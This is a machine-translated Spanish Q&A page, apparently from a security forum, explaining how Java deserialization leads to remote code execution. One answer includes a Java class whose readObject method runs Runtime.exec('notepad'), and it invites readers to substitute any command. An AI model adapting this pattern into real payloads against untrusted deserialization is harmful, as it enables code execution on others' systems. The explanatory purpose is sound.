Problema de deserialización de Java

1

He estado leyendo acerca de la vulnerabilidad de deserialización de Java que lleva al ataque de ejecución remota de código. Muchas hazañas públicas están incluso disponibles para hacer el ataque.

No encontré ningún tutorial que describiera cómo un atacante explota la vulnerabilidad. Si hago un programa de deserialización, ¿cómo puedo explotarlo para realizar RCE?

    
pregunta Rohan 07.07.2017 - 18:45
fuente

2 respuestas

2

Le sugiero que mire las vulnerabilidades públicas para saber cómo explotan la vulnerabilidad y luego haga una pregunta más específica sobre cualquier cosa que no entienda.

Como un lugar para comenzar, alguien hizo una página en github que resume todas las charlas. y guias. El exploit publicado de OpenNMS usando ysoserial es tan simple como lo vas a obtener.

Para explotar su programa de deserialización simple (asumiendo que se parece a el que hablan aquí )

La clase de empleado que dan se ve así:

public class Employee implements java.io.Serializable {
   public String name;
   public String address;
   public transient int SSN;
   public int number;

   public void mailCheck() {
      System.out.println("Mailing a check to " + name + " " + address);
   }
}

La documentación de Java dice,

  

Clases que requieren un manejo especial durante la serialización y   El proceso de deserialización debe implementar métodos especiales con estos.   firmas exactas:

     

writeObject void privado (java.io.ObjectOutputStream out)        lanza IOException
  privado void readObject (java.io.ObjectInputStream en)        lanza IOException, ClassNotFoundException;

Para convertir esto en un exploit, simplemente debe implementar un método especial de readObject:

Por lo tanto, cuando se deserializa la siguiente clase de empleado (recibida por su programa del usuario no confiable), el "manejo especial" es que ejecuta un programa arbitrario:

import java.io.*;
import java.util.*;
public class Employee implements java.io.Serializable {
   public String name;
   public String address;
   public transient int SSN;
   public int number;

   public void mailCheck() {
      System.out.println("Mailing a check to " + name + " " + address);
   }

     private void readObject(ObjectInputStream aInputStream) throws ClassNotFoundException, IOException {
         Runtime rs = Runtime.getRuntime();

        try {
          rs.exec("notepad");
        }
        catch (IOException e) {
          System.out.println(e);
        }   

     aInputStream.defaultReadObject();
  }

}

reemplace rs.exec ("bloc de notas") con el código de su elección.

    
respondido por el mcgyver5 07.07.2017 - 22:09
fuente
1

Echa un vistazo a esta charla, explica todo muy bien.

enlace

    
respondido por el kaidentity 08.07.2017 - 11:54
fuente

Lea otras preguntas en las etiquetas